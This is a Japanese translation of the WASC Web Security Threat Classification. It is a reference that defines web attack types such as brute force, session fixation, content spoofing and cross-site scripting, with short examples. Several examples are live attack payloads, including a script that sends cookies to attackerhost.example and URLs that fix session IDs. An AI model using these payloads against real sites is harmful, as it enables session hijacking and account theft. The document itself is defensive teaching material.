

Web Application Security Consortium: 脅威の分類

www.webappsec.org
Version: 1.00

おことわり

Web Security Threat Classification は、Web サイトのセキュリティに対する脅威を明らかにし、体系化する作業を共同で行っています。Web Application Security Consortium のメンバーがこのプロジェクトを立ち上げ、ここで述べられる課題に対して業界標準の用語を作り、普及させてきました。アプリケーション開発者やセキュリティ専門家、ソフトウェアベンダー、コンプライアンス監査者は、Web セキュリティに関連した課題について、一貫した用語を利用できるようになります。

目標

- Web アプリケーションに対する既知の攻撃を分類・特定する。
- 各攻撃の分類名を統一する。
- 体系的な方法で攻撃の分類を作る。
- 各攻撃の分類に対して、包括的な解説をしたドキュメントを提供する。

ドキュメントの用途

Web サイトを脅かすセキュリティリスクをさらにはっきりさせ、理解させます。安全なプログラミング作法を強化し、アプリケーションを開発する際のセキュリティ問題を防ぎます。Web サイトが既知の脅威すべてに対し、設計・開発・レビューを行っているかどうかを判断するために、ガイドラインを提供します。Web セキュリティの解決方法について、その機能と選択方法の理解を促進します。

目次

おことわり	1
目標	1
ドキュメントの用途	1
目次	2
概論	4
背景	5
貢献していただいた方々	6
チェックリスト	7
攻撃の分類	10
1 認証	10
1.1 総当たり	10
1.2 不適切な認証	11
1.3 パスワード復元の検証が弱い	12
2 承認	14
2.1 証明書とセッションの推測	14
2.2 不適切な承認	16
2.3 不適切なセッションの期限	17
2.4 セッションの固定	18
3 クライアント側での攻撃	21
3.1 偽コンテンツ	21
3.2 クロスサイトスクリプティング	24
4 コマンドの実行	27
4.1 バッファオーバーフロー	27
4.2 書式文字列攻撃	28
4.3 LDAP インジェクション	30
4.4 OS の命令	33
4.5 SQL インジェクション	35
4.6 SSI インジェクション	40
4.7 XPath インジェクション	41
5 情報公開	44
5.1 ディレクトリの索引化(Directory Indexing)	44

5.2	情報漏洩	47
5.3	パス乗り換え(Path Traversal)	50
5.4	リソースの位置を推測する	53
6	ロジックを狙った攻撃(Logical Attack)	54
6.1	機能の悪用	54
6.2	サービス拒否	57
6.3	自動化の停止が不適切	59
6.4	不適切なプロセスの検証	60
連絡先		62
付録		63
1.1	HTTP レスポンスの分割	63
1.2	Web サーバやアプリケーションの特定	69
ライセンス		85

概論

組織の多くにとって、Web サイトは巨額の金を毎日生み出すため、滞りなく運用されなければならない基幹のシステムになっています。しかし Web サイトは、それぞれの組織によって、その価値を個別に見積もる必要があります。どんな有形無形の価値も、金銭尺度のみで計るのは困難です。

Web セキュリティの脆弱性は、Web サイトのリスクに絶えず悪影響を及ぼします。

何らかの Web セキュリティの脆弱性が分かると、いくつかあるアプリケーション攻撃技術の内、少なくとも一つを使って攻撃が行われます。これらの技術は、一般的に攻撃分類(セキュリティ脆弱性を悪用する方法)と言われています。

攻撃タイプの多くに対して、バッファオーバーフローや SQL インジェクション、クロスサイトスクリプティングといった、聞き覚えのある名前がついています。Web Security Threat Classification は、攻撃分類を基本となる手法と位置づけ、Web サイトに対する脅威を体系立てて解説します。

Web Security Threat Classification は、これまで Web サイトへの脅威となってきた既知で一意の攻撃分類を整理し洗練します。個々の攻撃分類に標準的な名称を与え、ドキュメントを通じてキーポイントを議論しながら説明していくつもりです。各分類は、柔軟な構成にしていくつもりです。

Web Security Threat Classification は、アプリケーション開発者やセキュリティ専門家、ソフトウェアベンダーをはじめとする、とりわけ Web セキュリティに関心がある誰もにとって価値を持つ構成にするつもりです。この活動によって、独立したセキュリティレビュー方法論や安全な開発ガイドライン、製品やサービス機能要件が恩恵を受けるでしょう。

背景

ここ数年 Web セキュリティ業界は、脆弱性研究を表現する用語が紛らわしく、かつ分かる人しか分からないことを良しとしてきました。クロスサイトスクリプティングやパラメタ改ざん、クッキー改ざんといった用語に一貫しない名称を付けられ、攻撃の影響を説明しようとして、あいまいな意味になっていました。

例を挙げてみましょう。ある Web サイトがクロスサイトスクリプティングに脆弱であるとする、ユーザのクッキー盗難というセキュリティ問題に陥ります。クッキーがやられてしまうと、セッションハイジャックの実行が可能になり、ユーザのオンラインアカウントが乗っ取られます。攻撃者は脆弱性を悪用するため、URL パラメタを変更することで、入力データを改ざんします。

上記の攻撃についての解説は紛らわしく、あらゆる種類の技術的な専門用語を用いて解説できます。この複雑さと言い換え可能な用語のせいで、公開で議論する場でイライラさせられ、行き違いが生じます。たとえ関係者間でコアな考えが一致していてもです。

ここ何年も、この問題についてきちんと解説し、標準化した完璧かつ正確なリソースはありませんでした。私たちは作成過程において、わずかな書籍と数十の白書、何百の発表から、ちょっとした情報を頼りとしました。

Web セキュリティの初心者が勉強しようとした時、標準用語がないためにすぐに困り、とまどってしまいます。

このとまどいによって、Web セキュリティ分野があいまいになり、以降、遅々として進まなくなります。私たちに必要なのは、Web セキュリティの問題を論じるための正式に標準化された方法です。それによって、改善が続けられるからです。

貢献していただいた方々

Robert Auger	SPI Dynamics
Ryan Barnett	Center for Internet Security Apache Project Lead
Yuval Ben-Itzhak	Individual
Erik Caso	NT OBJECTives
Cesar Cerrudo	Application Security Inc.
Sacha Faust	SPI Dynamics
JD Glaser	NT OBJECTives
Jeremiah Grossman	WhiteHat Security
Sverre H. Huseby	Individual
Amit Klein	Sanctum
Mitja Kolsek	Acros Security
Aaron C. Newman	Application Security Inc.
Steve Orrin	Sanctum
Bill Pennington	WhiteHat Security
Ray Pompon	Conjungi Networks
Mike Shema	NT OBJECTives
Ory Segal	Sanctum
Caleb Sima	SPI Dynamics

チェックリスト

認証(Authentication)	
1	総当たり攻撃(Brute Force) 総当たり攻撃は、ユーザ名やパスワード、クレジットカード番号、暗号鍵を推測する目的で、トライアンドエラーを自動的に行う手法です。
2	不適切な認証(Insufficient Authentication) 認証が不適切だと、Web サイトが攻撃者に十分な認証をさせることなしに、秘密のコンテンツや機能にアクセスさせてしまいます。
3	もろいパスワード復元の検証(Weak Password Recovery Validation) パスワード復元に当たって検証が弱いと、Web サイトが攻撃者に他のユーザのパスワードを不正に取得・変更・復元させてしまいます。
承認(Authorization)	
4	証明書・セッションの推測(Credential/Session Prediction) 証明書・セッションの推測は、Web サイトのユーザをハイジャックしたりなりすましたりする方法です。
5	不適切な承認(Insufficient Authorization) 承認が不適切だと、Web サイトはよりきついアクセス制御を必要とする秘密のコンテンツや機能にアクセスさせてしまいます。
6	不適切なセッション期限(Insufficient Session Expiration) セッションの期限が不適切だと、Web サイトは攻撃者に承認の際に古いセッション証明書やセッション ID を再利用させてしまいます。
7	セッションの固定(Session Fixation) セッションの固定は、ユーザのセッション ID の値を直接変えてしまう攻撃手法の一つです。
クライアント側での攻撃(Client-side Attacks)	
8	コンテンツの詐称(Content Spoofing) コンテンツの詐称は、ユーザをだまし、ある Web サイトに載っているコンテンツが正規のもので、外部リソースから来ているものではない、と信じ込ませる攻撃技術です。
9	クロスサイトスクリプティング(Cross-site Scripting) クロスサイトスクリプティング(XSS)は、Web サイトに攻撃者が用意した実行コードを折り返させ、それをユーザのブラウザにロードさせる攻撃です。

コマンドの実行(Command Execution)	
10	<u>バッファオーバーフロー(Buffer Overflow)</u> バッファオーバーフローの悪用は、メモリの一部を上書きすることで、アプリケーションのフローを変えてしまう攻撃です。
11	<u>書式文字列攻撃(Format String Attack)</u> 書式文字列攻撃は、他のメモリ領域にアクセスするために文字列を整形するライブラリの機能を利用し、アプリケーションのフローを変えてしまう攻撃です。
12	<u>LDAP インジェクション(LDAP Injection)</u> LDAP インジェクションは、ユーザの入力から LDAP 文を作り、Web サイトに打撃を与える攻撃手法です。
13	<u>OS の命令(OS Commanding)</u> OS の命令は、アプリケーションの入力を改ざんし、オペレーティングシステムのコマンドを実行することで、Web サイトに打撃を与える攻撃技術です。
14	<u>SQL インジェクション(SQL Injection)</u> SQL インジェクションは、ユーザの入力から SQL 文を作り、Web サイトに打撃を与える攻撃手法です。
15	<u>SSI インジェクション(SSI Injection)</u> SSI インジェクション(Server-side Include)は、攻撃者が Web アプリケーションへコードを送れるようにする、サーバ側の悪用技術です。コードが送り込まれた後、Web サーバはローカルでそのコードを実行してしまいます。
16	<u>XPath インジェクション(XPath Injection)</u> XPath インジェクションは、ユーザの入力から XPath クエリを作り、Web サイトに打撃を与える攻撃技術です。
情報公開(Information Disclosure)	
17	<u>ディレクトリ・インデックシング(Directory Indexing)</u> Web サーバは、自動でディレクトリのリストを表示したり、索引を作ったりする機能を持っています。基本となるファイルが存在しないと、通常はリクエストされたディレクトリにあるすべてのファイルのリストを表示します。
18	<u>情報漏洩(Information Leakage)</u> 情報漏洩は、Web サイトが秘密のデータ-たとえば、開発者のコメントやエラーメッセージなど-を漏らすことで、攻撃者がそのシステムを悪用する足掛かりとする恐れがあります。
19	<u>パスの乗り換え(Path Traversal)</u> パスの乗り換え攻撃は、Web のドキュメントルートの外に存在すると思われるファイルやディレクトリ、コマンドに、無理やりアクセスする攻撃技術です。
20	<u>推測可能なリソースの位置(Predictable Resource Location)</u> 推測可能なリソースの位置は、Web サイトの隠されているコンテンツや機能を暴く攻撃手法です。

ロジックを狙った攻撃 (Logical Attacks)	
21	<p><u>機能の悪用 (Abuse of Functionality)</u> 機能の悪用は、Web サイト自体が持つ特徴や機能を利用して、アクセス制御機構を消耗させたり、だましたり、回避したりする攻撃手法です。</p>
22	<p><u>サービス拒否 (Denial of Service)</u> サービス拒否(DoS)は、Web サーバが一般ユーザへ提供するサービスを妨害する攻撃手法です。</p>
23	<p><u>自動化の停止が不適切 (Insufficient Anti-automation)</u> 自動化の停止が不適切だと、手動でのみ実行すべきプロセスを、Web サーバが攻撃者に自動で実行させてしまいます。</p>
24	<p><u>不適切なプロセス検証 (Insufficient Process Validation)</u> プロセス検証が不適切だと、Web サイトがアプリケーションにかけていたフロー制御を、攻撃者が回避したり、抜け道を作ったりしてしまいます。</p>

攻撃の分類

1 認証

このセクションでは、ユーザやサービス、アプリケーションの識別を確認する方法にターゲットを当てた攻撃について解説します。

認証は、次の3つの仕組みの内の少なくとも一つを使って実現します。その仕組みとは「持っているもの」、「知っているもの」、「自分自身」です。

このセクションでは、Webサイトの認証プロセスを回避したり悪用したりする攻撃について論じます。

1.1 総当たり

総当たり攻撃は、ユーザ名やパスワード、クレジットカード番号、暗号鍵を推測するために、自動的に攻撃をトライアンドエラーする手法です。

多数のシステムが、パスワードや暗号鍵が弱くても利用できるようになっていて、ユーザも辞書で見つけられるような簡単に推測できるパスワードを選びがちです。このやり方では、攻撃者は辞書にある単語を一語一語を順次回し、何度も推測することで、正しいパスワードを探し出そうとします。推測したパスワードによってシステムにアクセスできれば、総当たり攻撃は成功で、攻撃者はそのアカウントを利用できます。

トライアンドエラーの方法は、暗号鍵を推測するのにも、応用できます。Webサイトが弱くて短い鍵を使っていれば、攻撃者がありうる鍵すべてを試すことで、正しい鍵を推測できます。

総当たり攻撃は、基本的に2種類あります。それは、(一般的な)総当たりと逆総当たりです。一般的な総当たり攻撃は、一つのユーザ名に対してたくさんのパスワードを使います。逆総当たり攻撃では、一つのパスワードに対してたくさんのユーザ名を用います。多数のユーザアカウントがあるシステムでは、複数のユーザが同じパスワードを使うケースが

非常に増えます。総当たりの方法はとても流行っていて、成功するケースがままありますが、成功するまでに数時間から数年かかります。

例

Username = Jon

Passwords = smith, michael-jordan, [pet names], [birthdays], [car names],

Usernames = Jon, Dan, Ed, Sara, Barbara,

Password = 12345678

参考文献

“Brute Force Attack”, *Imperva Glossary*

http://www.imperva.com/application_defense_center/glossary/brute_force.html

“iDefense: Brute-Force Exploitation of Web Application Session ID's”,
By David Endler – iDEFENSE Labs

<http://www.cgisecurity.com/lib/SessionIDs.pdf>

1.2 不適切な認証

認証が不適切だと、Web サイトは攻撃者にきちんと認証させることなしに、秘密のアカウントや機能にアクセスさせてしまいます。Web サイトで秘密の機能へアクセスを提供する例としてうってつけなのは、Web ベースの管理ツールです。オンラインのリソースにもよりますが、ユーザが誰なのかをしっかりと確認できない限りは、Web ベースの管理ツールで直接リソースにアクセスできてはいけません。

認証設定の手を抜くために、特定の場所を「隠し」たり、メインの Web サイトや他の公開場所からリンクを張らないことでリソースを守る場合があります。しかしこの解決方法は、「あいまいさによるセキュリティ」に過ぎません。攻撃者は単にリソースを知らないだけ、ということを理解する

のが重要です。特定の URL に直接アクセスできる状態のままですから。

その特定の URL は、総当たり攻撃によって、よくあるファイルやディレクトリ(たとえば、/admin)、エラーメッセージ、参照ログ、ヘルプファイルにあるドキュメント等を探る過程で見つけられるでしょう。このリソースがコンテンツであっても、機能ベースのものであっても、適切に保護しなければいけません。

例

Web アプリケーションの多くは、管理機能の置き場所(/admin/)とルートディレクトリを分けています。このディレクトリは、Web サイトのどの場所からもリンクされていないのが普通です。にもかかわらず、標準的な Web ブラウザを使えばアクセスできてしまいます。

ユーザや開発者は、誰にもこのページを見て欲しいとは思ってもみないので、リンクは張られていません。しかし、認証を入れるのを見落としがちです。

攻撃者がこのページを訪れてしまったとすると、その Web サイトに対して完全な管理権限でアクセスすることになるでしょう。

1.3 パスワード復元の検証が弱い

パスワード復元の検証方法がもろいと、Web サイトは攻撃者に他のユーザのパスワードを不正に取得して、変更したり、復元したりさせてしまいます。これまで Web サイトで行われてきた認証方法は、ユーザにパスワードやパスフレーズを選択させ、記憶させてきました。ユーザは、パスワードを知り、正しく記憶している唯一の人間でなければいけません。時間が経つにつれ、ユーザはパスワードがあやふやになります。平均的なユーザは、パスワードを必要とするサイトを 20 か所ほど訪れていて、これが事態をより複雑にしています

(RSA Survey: <http://news.bbc.co.uk/1/hi/technology/3639679.stm>)。

つまりパスワードの復元は、オンラインユーザへのサービスの一環として重要なのです。

自動化されたパスワードの復元プロセスでは、ユーザが登録作業の一部として設定した「秘密の質問」に答えることを必要とする例があります。秘密の質問は、あらかじめ用意された質問リストから選ぶ場合もあれば、ユーザが用意する場合があります。ユーザがパスワードを覚えやすいように、登録時に「ヒント」を出すしくみもあります。また、社会保障番号や自宅の住所や郵便番号等といった、個人データを個人を特定するために必要とするものもあります。ユーザが自分が誰であることを証明した後、復元システムは新しいパスワードを表示するか、電子メールで送ります。

攻撃者が使用している復元機構を破った場合、Web サイトはパスワード復元の検証が弱いと考えられます。復元のために必要となる、ユーザを特定する情報が簡単に推測できたり、回避されたりすると、そうなりません。攻撃者は、総当たり攻撃やシステムに内在する弱点、簡単に推測できる秘密の質問を利用し、パスワード復元システムに打撃を与えてしまうでしょう。

例

(パスワードの復元方法が弱い)

情報の検証

Web サイトの多くでは、ユーザに対して、自宅の住所と電話番号と一緒に電子メールのアドレスだけを提示するように求めています。この情報は、オンラインの個人別電話帳から簡単に得られます。つまりその検証情報は、まったく秘密ではないことになります。

さらにその情報は、クロスサイトスクリプティングやフィッシング詐欺といった、他の方法によってやられてしまいます。

パスワードのヒント

ユーザがパスワードを思い出すのを助けるためにヒントを使っている Web サイトは、攻撃される恐れがあります。理由は、ヒントが総当たり攻撃を簡単にするためです。「122277King」というそれなりのパスワードに対して、ユーザがヒントとして「bday+fav author」という組み合わせにします。攻撃者はこのヒントから、パスワードがユーザの誕生日と好き

な作家の組み合わせである、ということを探り出せます。これで辞書総当たり攻撃の範囲をかなり狭められます。

秘密の質問と答え

秘密の質問が「生まれた所」で、パスワードが「Richmond」というユーザがいたとします。攻撃者は秘密の答えを都市名に限定し、総当たり攻撃ができます。攻撃者がもう少しターゲットのユーザを知っていれば、生まれた所を知るのは簡単です。

参考文献

“*Protecting Secret Keys with Personal Entropy*”, By Carl Ellison, C. Hall, R. Milbert, and B. Schneier

<http://www.schneier.com/paper-personal-entropy.html>

“*Emergency Key Recovery without Third Parties*”, Carl Ellison

<http://theworld.com/~cme/html/rump96.html>

2 承認

このセクションでは、ユーザやサービス、アプリケーションが、リクエストされた処理を実行するのに必要な権限の有無を Web サイトが判断する方法にターゲットを当てた攻撃を扱います。たとえば、Web サイトの多くは、決まったユーザに対してのみ、特定のコンテンツや機能へのアクセスさせているはずです。一方で他のリソースへのユーザのアクセスは、制限されているでしょう。攻撃者は様々な技術を駆使して Web サイトをだまし、保護された場所に対し、自分たちの権限を増やします。

2.1 証明書とセッションの推測

証明書とセッションを推測すれば、Web サイトのユーザを乗っ取ったり、偽ったりできます。特定のセッションやユーザを特定する一意の値を推測できれば、攻撃が実現できます。これは「セッションハイジャック」としても知られていて、成功すると、攻撃者はユーザの権限を侵す Web サイトのリクエストができるようになります。

Web サイトの多くは、はじめに通信が確立されると、ユーザを認証して追跡するように設計されています。こうなっていると、ユーザは Web サイトに対して、自分を証明しなければいけません。通常は一組のユーザ名とパスワード(証明書)の組み合わせを提示して実現します。Web サイトは、やり取り毎に秘密の証明書を交換するのではなく、認証済み扱いでユーザセッションを識別するため、一意の「セッション ID」を生成します。その後のユーザと Web サーバ間の通信には、認証済みセッションの「証明」として、セッション ID でタグをつけます。攻撃者が他のユーザのセッション ID を推測できると、不正な行為が可能になります。

例

Web サイトの多くでは、商用のアルゴリズムを使ってセッション ID を生成しようとしています。この独自の方法は、単に決まった数字を増分してセッション ID を作っているかもしれませんが、適時因数分解したり、他のコンピュータの特定の変数を利用したりと、もっと複雑な手続きを経ているかもしれません。

その時セッション ID は、クッキーや hidden フォームフィールド、URL に記録されます。攻撃者がセッション ID を生成するアルゴリズムを割り出せれば、攻撃者は次の攻撃を仕掛けられます。

- 1) 攻撃者は現在のセッション ID を入手し、Web アプリケーションに接続する。
- 2) 攻撃者は次のセッション ID を計算するか総当たり攻撃を行う。
- 3) 攻撃者はクッキーや hidden フォームフィールドや URL にある現在の値を差し替え、次のユーザの身元を装う。

参考文献

*“iDefense: Brute-Force Exploitation of Web Application Session ID’s”,
By David Endler – iDEFENSE Labs*

<http://www.cgisecurity.com/lib/SessionIDs.pdf>

“Best Practices in Managing HTTP-Based Client Sessions”, Gunter Ollmann – X-Force Security Assessment Services EMEA
<http://www.itsecurity.com/papers/iss9.htm>

“A Guide to Web Authentication Alternatives”, Jan Wolter
<http://www.unixpapa.com/auth/homebuilt.html>

2.2 不適切な承認

承認が不適切だと、Web サイトは、アクセス制御の制約がさらにきつい秘密のコンテンツや機能へアクセスを認めてしまいます。ユーザが Web サイトで認証されても、必ずしもコンテンツすべてにアクセスができたり、機能を勝手に利用できるようにしたりすべきではありません。

承認の手続きは認証の後に行われ、どのユーザやサービス、アプリケーションを許可するのかを強制します。Web サイトの特定の動作は、ポリシーに従って熟考した上で制限を課してください。Web サイトの秘密部分は、管理者を除き全員に制限をかける必要があるでしょう。

例

これまで多くの Web サイトは、管理用コンテンツや機能を /admin や /log といった隠されたディレクトリに保存してきました。攻撃者が直接このディレクトリをリクエストすると、アクセスが認められてしまいました。こうなると、攻撃者は Web サーバを再設定し、秘密情報にアクセスしたり、Web サイトを危険な状態にしたりする恐れがあります。

参考文献

“Brute Force Attack”, Imperva Glossary
http://www.imperva.com/application_defense_center/glossary/brute_force.html

“iDefense: Brute-Force Exploitation of Web Application Session ID’s”, By David Endler – iDEFENSE Labs
<http://www.cgisecurity.com/lib/SessionIDs.pdf>

2.3 不適切なセッションの期限

セッションの期限が不適切だと、Web サイトは攻撃者に、古いセッション証明書や承認用のセッション ID を再利用させてしまいます。

セッションの期限が不適切だと、他のユーザを乗っ取ったり、なりすましたりする攻撃に Web サイトがさらされる機会が増えます。

HTTP は状態がないプロトコルなので、Web サイトは普通はセッション ID を使い、リクエスト間でユーザを一意に識別できるようにしています。つまり、同じアカウントでアクセスする複数のユーザを防ぐためには、セッション ID それぞれの秘密を守らなければいけません。盗まれたセッション ID は、別のユーザアカウントを見たり、不正な処理を実行したりするのに悪用されます。

セッションの期限が適切さを欠くと、ある種の攻撃が成功するケースが増えるでしょう。たとえば、攻撃者はセッション ID を横取りするのに、おそらくネットワークの盗聴やクロスサイトスクリプティング攻撃を使います。

セッション期限が短くても、すぐに盗まれたトークンを使用されると、どうにもなりません。しかし、セッション ID の繰り返しは防げます。ユーザが共用のコンピュータ(図書館やインターネットカフェ、共有スペース等)から Web サイトにアクセスするケースもあるかもしれません。セッションの期限が不適切だと、攻撃者がブラウザの「戻る」ボタンを使い、犠牲者が以前アクセスしたページにアクセスできてしまいます。

期限が長くなると、攻撃者は有効なセッション ID を推測できる機会が増えます。時間が長くなるほど共通で利用できるものが増え、攻撃者が推測できる ID の数がたまっていきます。

例

共用のコンピュータ環境(二人以上の人間がコンピュータに制限なしにアクセスできる)では、セッションの期限が不適切だと、Web 上で他のユーザの行為を見られてしまいます。Web サイトのログアウト機能が、セッションを終わらせることなしに犠牲者をサイトのホームページに行かせると、別のユーザがブラウザの履歴をさかのぼり、犠牲者がアクセス

していたページを見られます。犠牲者のセッション ID は破棄されないの
で、攻撃者は認証証明書の提示を要求されずに、犠牲者のセッションを
見られます。

参考文献

*“Dos and Don'ts of Client Authentication on the Web”, Kevin Fu, Emil Sit,
Kendra Smith, Nick Feamster – MIT Laboratory for Computer Science*
<http://cookies.lcs.mit.edu/pubs/webauth.tr.pdf>

2.4 セッションの固定

セッションの固定は、ユーザのセッション ID の値を直接変更してしまう
攻撃方法です。ターゲットにしている Web サイトの機能にもよりますが、
セッション ID の値を「固定する」攻撃はたくさんあります。クロスサイトス
クリプティング攻撃から、あらかじめ作っておいた HTTP リクエストを Web
サイトに浴びせかける手法にまで及びます。ユーザのセッション ID を固
定すると、攻撃者はその ID でログインするのを待ちます。ユーザがログ
インすると、攻撃者は定義済みのセッション ID の値を使い、オンライン
の人を装います。

ID の値から見ると、セッション管理システムには一般的に 2 つのタイプ
があります。まずは、どのような ID にも「寛大な」システムです。次は
サーバ側で生成された値だけを認める「厳格な」システムです。寛大な
システムだと、Web サイトとやり取りせずに、セッション ID を好きなだけ
持ち続けられます。厳格なシステムだと、攻撃者は「セッションに罠
(trap-session)」を仕掛ける必要があります。これで定期的に Web サイト
とやり取りし、タイムアウトしないようにします。

セッションの固定に対して有効な防御をしていなければ、認証済みユー
ザを特定するためにセッションを使っているどの Web サイトに対しても、
攻撃を仕掛けられます。セッション ID を利用している Web サイトは、普
通はクッキーベースですが、URL と hidden フォームフィールドも同様に
利用されています。

残念ながらクッキーベースのセッションは、攻撃するのが簡単です。現在分かっている攻撃方法の大部分は、クッキーの固定に狙いを定めています。

Web サイトにログインした後にユーザのセッション ID を盗むのとは対照的に、セッションの固定には都合の良いケースがたくさんあります。攻撃が積極的に行われるのは、ユーザがログインする前です。

例

セッション固定攻撃は、通常 3 つのステップを踏みます。

1) セッションの設定

攻撃者はターゲットとなる Web サイトで「セッションの罨」を張り、セッション ID を取得します。もしくは、攻撃中に使用するセッション ID を任意に選ぶでしょう。場合によっては、確立済みの罨セッションの値は、繰り返し Web サイトとやり取りすることにより、維持しなければ(有効にし続けなければ)いけません。

2) セッションの固定

攻撃者は、罨セッションの値をユーザのブラウザに入れ込み、ユーザのセッション ID を固定します。

3) セッションの開始

攻撃者は、ターゲットの Web サイトにユーザがログインするのを待ちます。ユーザがログインすると、固定されたセッション ID が使われ、攻撃者が乗っ取ります。

ユーザのセッション ID 値の固定は、次の手法で実現できます。

クライアント側のスクリプトを使い、新しいセッション ID の値を発行ドメインに所属するどの Web サイトに存在するクロスサイトスクリプティングの脆弱性も、現在のクッキーの値を修正するのに使われます。

コードの抜粋

```
http://example/<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script>.idc
```

META タグを使ったクッキーの発行

この方法は前述のものと似ていますが、クロスサイトスクリプティング対策を施し、META タグ以外の HTML のスクリプトタグの挿入を防いでいる場合に有効です。

コードの抜粋

```
http://example/<meta%20http-equiv=Set-Cookie%20content="sessionid=1234;%20domain=.example.dom">.idc
```

HTTP レスポンスヘッダーを使ったクッキーの発行

攻撃者はターゲットにしている Web サイト、さもなければそのドメインに所属する他のサイトに対して、セッション ID クッキーを発行させます。実現させる方法はたくさんあります。

- そのドメインの Web サーバ(たとえば、いい加減に管理されている WAP サーバ)に入り込む。
- ユーザの DNS サーバを改ざんして、そのドメインに攻撃者の Web サーバを事実上追加する。
- そのドメインに不正な Web サーバを立ち上げる(たとえば、Windows2000 ドメインにいるワークステーション上で。すべてのワークステーションは、DNS ドメインにも属している)。
- HTTP レスポンスを分割する攻撃を行う。

注意: 長期間に渡るセッション固定攻撃は、永続的なクッキー(たとえば、破棄期間が 10 年)を発行することでも実現できます。このクッキーは、ユーザがコンピュータを再起動させても、セッションを固定したままにしておきます。

コードの抜粋

```
http://example/<script>document.cookie="sessionid=1234;%20 Expires=Friday,%20Jan2010%2000:00:00%20GMT";</script>.idc
```

参考文献

“*Session Fixation Vulnerability in Web-based Applications*”, By Mitja Kolsek – Acros Security

http://www.acrossecurity.com/papers/session_fixation.pdf

“*Divide and Conquer*”, By Amit Klein – Sanctum

http://www.sanctuminc.com/pdf/whitepaper_httpsresponse.pdf

3 クライアント側での攻撃

このセクションでは、Web サイトのユーザを悪用する攻撃に焦点を当てます。ユーザが Web サイトを訪れると、2 つのグループ間に技術・心理面で信頼関係が生まれます。ユーザは訪れた Web サイトが正当なコンテンツを提供してくれるものだと思っています。またユーザは、自分たちが Web サイトを訪問している間に攻撃されるとは思っていません。この信頼関係への思い込みを利用して、攻撃者はいくつかの方法を使ってユーザを陥れます。

3.1 偽コンテンツ

偽コンテンツは、ユーザをだまし、Web サイトに表示されているコンテンツが正式のもので、外部からのものではないと思わせる攻撃技術の一つです。

Web ページには、動的に生成される HTML コンテンツを使っているところがあります。たとえば、フレームのソースの位置(<frame src="http://foo.example/file.html">)は、URL のパラメタ値で指定できます(http://foo.example/page?frame_src=http://foo.example/file.html)。

攻撃者は、「frame_src」パラメータを「frame_src=http://attacker.example/spoof.html」に置き換えられるでしょう。こうしてWeb ページが提示されると、ブラウザのロケーションバーにはユーザがいると思っているドメイン(foo.example)が表示されたままになってしまいます。しかし、実際は外部データ(attacker.example)が正式なコンテンツを覆い隠してしまいます。

電子メールやインスタントメッセージ、掲示板に投稿されたもの、クロスサイトスクリプティング攻撃によるユーザの行為によって、入念に作り込んだリンクをユーザに送れます。不正な URL を使って設計された Web ページへ攻撃者がユーザを誘導すると、ユーザはブラウザのロケーションバーが http://foo.example と表示されているので、無条件に信じてしまうでしょう。実際は HTML フレームが http://attacker.example を参照していてもです。

この攻撃で、ユーザと Web サイト間で確立された信頼関係が壊れます。この技術は、ログインフォームやコンテンツの書き換え、嘘のプレスリリース等載せた偽の Web ページを作るのに利用されてきました。

例

偽のプレスリリースの作成。Web ページでプレスリリースを載せるのに、Web サイトが動的に生成された HTML フレームを使用しているとします。ユーザは次のようなリンクをたどります。

(<http://foo.example/pr?pg=http://foo.example/pr/01012003.html>)。

Web ページの HTML は下記のようなになるでしょう。

コードの抜粋

```
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content"
SRC="http://foo.example/pr/01012003.html">
```

```
</FRAMESET>  
</HTML>
```

上記の例にある「pr」というWebアプリケーションは、固定メニューと動的に生成された FRAME SRC を生成します。「pr_content」フレームは、リクエストされたプレスリリースのコンテンツを表示するのに、URL パラメタである「pg」から値を取ってきます。しかし、攻撃者が通常の URL を改ざんして、

http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.html としたらどうなるでしょうか。「pg」の値をきちんと正しくチェックしないと、HTML は下記のようになるかもしれません。

コードの抜粋

```
<HTML>  
<FRAMESET COLS="100, *">  
<FRAME NAME="pr_menu" SRC="menu.html">  
<FRAME NAME="pr_content" SRC="  
http://attacker.example/spoofed\_press\_release.html">  
</FRAMESET>  
</HTML>
```

エンドユーザには、「attacker.example」という偽のコンテンツが本物であり、正式な情報源から来ているように見えます。

参考文献

"A new spoof: all frames-based sites are vulnerable" – SecureXpert Labs

<http://tbt.com/archive/11-17-98.html#s02>

3.2 クロスサイトスクリプティング

クロスサイトスクリプティング(XSS)は、Web サイトに攻撃者が用意した実行形式を折り返し実行させる攻撃手法で、ユーザのブラウザでロードされます。コード自体は、普通 HTML や JavaScript で書かれますが、VBScript や ActiveX、Java、Flash、その他ブラウザがサポートする技術にまで及ぶでしょう。

攻撃者がユーザのブラウザで自分のコードを実行させると、コードはホスティングしている Web サイトのセキュリティコンテキスト(ゾーン)で実行することになります。コードはその権限レベルで、ブラウザによってアクセスできるどんな秘密データも読んだり、修正したり、転送したりできます。クロスサイトスクリプティングにやられたユーザは、アカウントをハイジャックされ(クッキーが盗まれ)、ブラウザは他の場所にリダイレクトされるか、今訪れている Web サイトが用意した不正なコンテンツを表示するかもしれません。クロスサイトスクリプティング攻撃は、ユーザと Web サイト間の信頼関係を根本から破壊します。

クロスサイトスクリプティング攻撃には、非継続的なものと継続的なものの2種類があります。非継続的な攻撃は、特別に作られた不正なコードで汚染されたリンクをユーザが訪れる必要があります。そのリンクを訪れると、URLにあるコードが返され、ユーザの Web ブラウザで実行されます。継続的な攻撃は、一定期間コードを保存する Web サイトに不正なコードが登録された時に起こります。

攻撃者が好むターゲットの例として、掲示板への投稿や Web メールメッセージ、Web チャットソフトウェアがあります。何も知らないユーザは、どのリンクもクリックする必要はなく、ただコードが組み込まれた Web ページを見るだけでやられてしまいます。

例

継続的な攻撃

多くの Web サイトは、登録済みユーザがメッセージを投稿できる掲示板を設けています。登録済みユーザの投稿を承認するためのセッション ID クッキーを使って、登録済みユーザを追跡するのが一般的です。攻

撃者が特別に作り込んだ JavaScript をメッセージに入れて投稿したとすると、このメッセージを読んだユーザは、クッキーとアカウントをやられてしまいます。

クッキーを盗むコードの抜粋

```
<SCRIPT>
document.location=
'http://attackerhost.example/cgi-bin/
cookiesteal.cgi?'+document.cookie
</SCRIPT>
```

非継続的な攻撃

Web ポータルの多くは、Web サイトを個人専用に見せて、ログインしたユーザに「ようこそ、<皆さんの名前>さん」と迎えてくれます。時には、ログインしたユーザに関連したデータが、URL のクエリ文字列に記録され、画面に表示される場合もあります。

ポータルの URL の例

```
http://portal.example/index.php?sessionid=1231231
2&username=Joe
```

